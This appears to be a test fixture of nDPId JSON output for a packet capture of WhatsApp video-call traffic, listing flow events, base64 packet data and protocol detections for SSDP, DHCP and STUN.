+00452{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455769,"pkt_ts_usec":823739,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIblcAAFAR2nid8MEwwKgCDA2W0bgANGTSAQMAGCESpEIMCJFuDJOtHXjqlFAAIAAIAAHuJHGmBnJAAgAIAAABa44EON0="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1561455770313,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":51277,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00584{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":313920,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6kLkxKPrKCABFAAClcA8AAAIRlYrAqAIM7\/\/\/+shNB2wAkeqFTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1561455770313,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":51277,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00568{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":337759,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaSm4AAEAR9\/PAqAIMHw1WMNG4DZYAhm0eAAMAaiESpEIMCJFuDJOtHXjqlFZAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +01039{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":338553,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0+3oAAEARRY3AqAIMHw1WMNG4DZYB4H2\/gMcAAQAAAAAAAAAAABAAAAAAAACJhKdzsHnuet1Qdz41\/V0LZ6iaR+ompnqOC0UyarH5UrXQ7gahHsgo8fBSar+USGufvh1qJu\/NRhrMD3qR\/SAjm0znSoh6VhewgoYurQjuAFWWewtWrMpeuHL4S\/+0MyTq468+zTecDbZ6EwtoSN0rV7q8TBzNbXoPKLU+8hBZZ+C0Zwhv4pNQvQ73HCap6B8nDrljl1VQCssxIyDoFppm+A1WDiIcrzOwFmAtFZRxfxAwsXnaqMpfV7ETckMB4GqGDHMY9D07KVFzYHB6BDNMqwxrKcvDDDOcXgoLbVnJVRsvDhbsoDZ9LSZ\/DUdboxbtnb0+yVLLEsITqGIoWKkIia7aJcm3+DfUCeopy1IrRGOwSHhGcTRsKeL4Zo8myF1iplt\/QK0IWu1ypm\/fXsMYLI+JQtSzFlXwTnhFMZKGXe\/+5y10FBJa3vn8WHaLeEglFQxibWJAB9Pl\/RPmifsBDlwaKTewkQGv68cDGTBCOjDXY08IucQjkM5PSAZ1gm8bFtFdu3YCSvIUwWcVUUY1BlV1G\/8KITQVBlllroCeNwk8Egd\/diM+uKs4CkbCkQ4jiWkDlVqqBRrvIHMCzzF3cMkNZw=="} +00453{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":353829,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABI\/z8AAFQRL3QfDVYwwKgCDA2W0bgANEyYAQMAGCESpEIMCJFuDJOtHXjqlFYAIAAIAAHuJHGmBnJAAgAIAAABa44EOvU="} +01030{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":354763,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH08nkAAEARTo7AqAIMHw1WMNG4DZYB4MxRgMcABQAAPxIAAAH0ARAAAAAAAADrDCQ6HzbMFOM39WrxTigJ6bRWNVpIf098NWctLXfoUuFV6BsXNV4y1pLvRvxDkRoEYwY31bdOBCgDB0wWXmBgyCfBVvfnGiMiG3M7rHP6ATciwGEEewYNSkp2JPlSB1KBg9hezLqhWInU7mGaoMMG7uFkFTvbLBLPB+0+T8ebOxsyOnAsxK98p2R4dzhNGAEXmHVigUBUFprgVnWl2rMaVZTXFaZjS3wKZ3s5Ad+pVBPmb1zOGGo2SpiCb3db3GZjFvkMPMQsNWpaBw5Y7MAE2IfcFR6BWkEX+tIcyQohX+lCS3KeCRYrK3rRM6C3q33VqaQUiemJRo1FQwg3MIt4tKgKegQAylGPMMckJg9FEaWQ5UwTaHtzoPLtKmT802uKQF8qwTmGU77YORHHqsRsmiaoY5N7fjTRCuNbeE7bFgG0\/Bf0uY1P+WqrYYcz\/DxYA5tRQ7D4FwAL\/EfrUTZ06FY8GsymbW871OEHh3E0e0KVCTCxOCZF7g9UUHX74T6T3kNmWLnJccR6p3KqFG1Rqc5nUHziME+CY2USPfVnPs2XFRufIaEmiWGmHBB4TW+GmwVH154lQatW3wwn+7IaIsuGXA=="} +01032{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":354880,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0fnwAAEARwovAqAIMHw1WMNG4DZYB4GvVgMcABQAAQCYAAAPoAhAAAAAAAACjVIIVXaSCH9Tl9DkF3xx9bgF2cncXWCG7lmwel94ba3DCsnLkgfs1bLsMEzm55CgoYjxAClFQPHWG+DyYikNghzJAcqp3tVRYZcNVZaAyD65OwETFpG0tz5hceUh8NC6qcst3VzTVTaxjX2i85ohO62jkfd9cpB4wRM04csg3LAzLSAL\/gQp5bsrcIJwMbn8gF\/4RGj+gQBvljlgJfWMNvOClfpmXRTy43ON8FvSvU0b7wUTu01cbSLwaI\/ksPzAuqKED3mUoakUIOAIm66YssSKYAsuTDVKCHmJ5ECfBGCKY6zBF+VA7bz8dQc6xL2dOgEJsabj1AYD2HSudYyI8Qve5dXBKGAQpAb9WPVflFQZxwgPXQopSllsqc+sP42GCPyoC6nCvI\/MkHlMm+AtgDbjQMQd3430irZtgu8SDDGjX6B6y\/JVIWC8Bb1dzyzbbcAFnsm6YDx1wi2BvsW1i5SCcD2SiM1PofepiFD3wELz0OQzpaPIwGbLFekfGL0nahIJfMjXgcQagxDYBBuYmmj+URyy821W9GB9N2UeRNIUSBC5d8VsNhRdDD5YkvX1YNK0M6INHP8wUJXCZlngSSCDnKg=="} +01045{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":375213,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0prMAAEARmlTAqAIMHw1WMNG4DZYB4J8IgMcABQAAjw8AAAXcAxAAAAAAAAD5bPgr\/GW6Qp2lfVtYFQQWsk8VZnpjIwEr31c6+Z38Xid35xo9rz9S+vcJU61odzNAUHlkSM2DWF5fGjWOL2tW9T\/\/Fp75v0\/5HJ1EoELZJk0qpQETJnwCq6qnJFnTtXuCt0ZeKOi5dPbVOFk9N2cicJdbJrxNM0coljR5Qlpuayja5xlhhaNEe8aJS\/vbRUK6XW14GpwkVB6ahC\/xP6IqFf0TAsNuTG7H\/Ptb\/puQfJWA8Xm+9DBeQRYUYK42wUbM\/ew2QHgKAUiyXFZDwbxfz0Y0YeTxFC\/ixxQIk8pODDV\/1QgadZJ4zTtGV348AEQSl4Nr41UzDFawS37hHiYbs1O1Y+k\/ihUL5WknZEk8GS1R9kS6hEsHE9P2bk+9mw4HlakSIwh3O1VQtwNa\/vp3PwRRf2YF7h\/qe6RDV2LDY+xwbTDKrhBhj4FDDpna7nE+rVF4KP9EOvu4ywe8at1PmoWKUUhrSV3QcyJ\/5Z3hLm49RV4cMcQTZy90NZsu1F7A8j88JzpaCsDbnymZLxQ+pgVBH1Hl2WUUXV5EHe8wD7VgolX\/NnsXZKtXGr4\/tXFEDWwyOAXbU4rKM1AoUzZ4wKSNNg=="} +01035{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":375319,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0iq4AAEARtlnAqAIMHw1WMNG4DZYB4Ku1gMcABQAAj6wAAAfQBBAAAAAAAAA7VTsNRptYMnwqOlehX7srdVmDGuwdZiUihDZT3P4cIPwtoE87JCsdcqxXe6Gv+jhAkCBS34PeV4rSo1Hli1Nat5UFI1czqEN0t8JXr02aMBY1YmLQaYsd1+XPK7mc+l3iZUdwBBJyX5D1\/Dmu3l0O4HjGNDHVKVIbrms4jYtzJTDpzkSacS9s82zLHlDVXT2pll9bHGCcYNH\/aTpNEBoF2DEkcnOWRCala\/FgXE\/SCQ0mWE6pRyp9cejGYmCFxnB3m1554d8wMoVGuiag2WsPSJ+ccT1qnWHc\/Kkl1eIXO0IsLR0FsLQAnxiQVh+bQA6IF4gzJvzAKzs56goWVlMXUMo4YIp7ajDbudQerej1Hz\/GfknLdwki4sGXG5XqOQhr4FcSNZpORyUybnlrWZ4xQJkAE39CTQwopkgktJ6UHZhKPwhiRTpzB2Chdmmop1wFtSED3lzzGSEAVjhskyIWzqL8NxmfJCtvOElxgzkYfiEIaGgU5O0FFuAYRcrnH2QgsqpqlYmUbOTM1AvNktc\/efHmYSZx9wBIdiV1Da14biRpqTR+1TVehHNTILDvxEYcMFQrfZQiJBOtQlqw6HBPjqO8fQ=="} +01037{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":398887,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0LhEAAEAREvfAqAIMHw1WMNG4DZYB4EkggMcABQAA620AAAnEBRAAAAAAAAAfAJZrZyriRIXzTVwb0K4BeZ3ge3iyglcqEZNFFQBMOpmAmVOw58kCPtWJFX7kDgxhErslobGzHL\/PUllpMsVLW7Jwf7q1zT8P51VaHri0PTjZoyPP\/QlaN0\/2RcPHyi2x6gBcpzkwQN0jGR6bkYEEbFl+VtHtIAHrNN0YDT29Yh9T83W4VNY5shlUJsYIY1sJLtVCJnPBOWnhbksv25BcIxomKnMFfitT15deqbq5QnjPjS+s5y8H49ASWkgVUAm+LqVonvGfNA\/Xr3CVU1Ao4G+fMZP0aVpEDThivB3vTZ1JiQ1c6T8ww6\/xM9lFSkCIyi9My82ZVVT2lWRjOF8x5wRvYi0Mq2YDk6xnId\/ncnYq6lSH1IlZ\/RjgZ1K\/iCnLtchQ3EsXKZdtdTh28W0lLI0HVVBvxWLZHw8Qy+fzUPLp9jwiLnl28vbDDe2QiTyn1olrGaVrJgMgJGXV2LEmy5sSZsdgsk+x0e9HXOCvUenhsnFQwg0XAx5QCDhb4kNZ3NJB0XiAeiwgfAgOLSQN3\/gJQlgashwflt9wHQf5Zrs1QmfzvNUrAAxoXegD7Fl3ovQV4z3Wb3E7eVoepi1NJyP1bw=="} +01033{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":399460,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH078EAAEARUUbAqAIMHw1WMNG4DZYB4LPEgMcABQAA7igAAAu4BhAAAAAAAADdDtdGgPMQURSC4i+bB8o\/1HG5aAJL4GYSpVwPn0hZC4vErhJCi+kPN6K1LVLgrG\/FYLs+r0XOf7YlQT8r8BJOGL9VPR3gdEgUtSVxFG6TYpsVID13kmoFaMW1FwE7sx5mzuYIGo\/4aM0pexZCXfVvetG9VZDMAyHfEmsAr+6jdX9fi13TuipplahPdNsJxRkUFgpXsKcvV4dAqnl4nXIY0j3ADIisGiGyJTVeb\/k9c4Qhw2lbl80JZNyLGNM1MgbSsmtKKR+pZGDwPBuYPMk92D6pZo8LXXFuE6IT06Spdf5UhFQLG+g7541HA186tU5XWwtc9tuZbbErOBDIebxXeGbfFgNcwCTO29hQ2dpGTTEEymavYdlYu1WcJ058wAhf6SAVz2a5I1uyDGEkppEI4YkyEhwc+jPsjEtp9Q8RX5XOLlnxxfwPalknHJZMX1u3Op1NMOx5DTlKgT\/BBDBBVjyIN5VOMVHXQR586sl0Jl81dD1+D1wYsCX9Q69otSDvyetlL54WW2FO6ynH12YX0VXgYAc+IigmUhZgEm5rWZuNBxx9yeEzJ0hzLD0PhkTwkFI9A5ypd1XGQSD+BkQ+oS0nZA=="} +00401{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":413965,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":48,"pkt_l4_len":14,"pkt":"xiwDYGpkkLkxKPrKCABFAAAizsUAAEARdBTAqAIMHw1WMNG4DZYADqpXaGVhbHRo"} +01037{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455770,"pkt_ts_usec":414944,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"xiwDYGpkkLkxKPrKCABFAAH0pt0AAEARmirAqAIMHw1WMNG4DZYB4N5fgMcABQABKosAAA2sBxAAAAAAAABl2CRI4\/P6avTyoQECclUvlfmvEsiuKl9H\/ThrT3d8aicafRFp\/z8sMV2ZHSVLtT\/QilgXqWkBNvLxvxaJUqUTcqrNSrxIcQTrMF4phKndZt5NpGJqXPQQ2DvfGrDv0TVqJ89pa9YkH8YaeSt208wbPPZOJMPvBzz\/CQ4tdFuydIZYkmmQ+\/EGf666eMVRFigScVJRc359e1vv+Gu+diokfsbZX1urdlKoDexsdch0fau5FH44yqkC5SMbWRe90QR5M9VlKoEmEK706U9\/9L4IVcKlMGZzeVLXV4cjevaXCgTJtn6aZkcS1hGhDZf\/mUlBOFsddULKTz840WdY5cNY7yEGJebknTWK0x4RzRHSfsfqjhHSt9c9tltlHc0YaGnLcDQxqTjZaYkVFzQW8IZXPmH8W6BcVBbTF418h10XE9tT\/WKigYxlw+aSa2FDbHmO07sypyk+SYK4IBATZzFUkztmdyJt0Vi8AFQdrkX8dQbfQgWcBUBpv3owahDIyhQanRQNqxxWRJlBdHEA3n4H2NUgGk5lt2EAFlxPtIKoJkALHQFSl80ZupWJCLfqxADGlA0AMFOie7mzA17nZgxFG+s3MQ=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":144,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1561455772049,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00810{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455772,"pkt_ts_usec":49243,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFInqwAAP8RG\/kAAAAA\/\/\/\/\/wBEAEMBNNtQAQEGAH5K8tcAMwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":144,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1561455772049,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00578{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455773,"pkt_ts_usec":318325,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6kLkxKPrKCABFAACgzaAAAAIRN\/7AqAIM7\/\/\/+shNB2wAjBq9TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTklQQ29ubmVjdGlvbjoxDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KTVg6IDMNCg0K"} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":152,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1561455772049,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":152,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561455764448,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00581{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455776,"pkt_ts_usec":326104,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6kLkxKPrKCABFAAChemIAAAIRizvAqAIM7\/\/\/+shNB2wAjbrDTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTlBQUENvbm5lY3Rpb246MQ0KTUFOOiAic3NkcDpkaXNjb3ZlciINCk1YOiAzDQoNCg=="} +00537{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455779,"pkt_ts_usec":337361,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"AQBef\/\/6kLkxKPrKCABFAACBKKcAAAIR3RbAqAIM7\/\/\/+shNB2wAbVXRTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cG5wOnJvb3RkZXZpY2UNCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":250,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455780246,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00812{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455780,"pkt_ts_usec":246416,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFInq0AAP8RG\/gAAAAA\/\/\/\/\/wBEAEMBNNtIAQEGAH5K8tcAOwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":250,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455780246,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":371,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1561455781247,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"1.60.78.64","src_port":53688,"dst_port":59491,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455781,"pkt_ts_usec":247252,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIyagAAEARnszAqAIMATxOQNG46GMANIouAAEAGCESpELJdbow6qY0UK1Q3DAACAAUjCUqyJwTIDkKR+sjy0Uf5fkPaoE="} +00574{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":371,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1561455781247,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"1.60.78.64","src_port":53688,"dst_port":59491,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":381,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1561455781352,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"91.252.56.51","src_port":53688,"dst_port":32641,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455781,"pkt_ts_usec":352254,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIUPMAAEAR0s7AqAIMW\/w4M9G4f4EANAIPAAEAGCESpEIZqLFMH0mnKh34iiEACAAUNcgqBRg9v\/os\/sidMBIfN2R1dO0="} 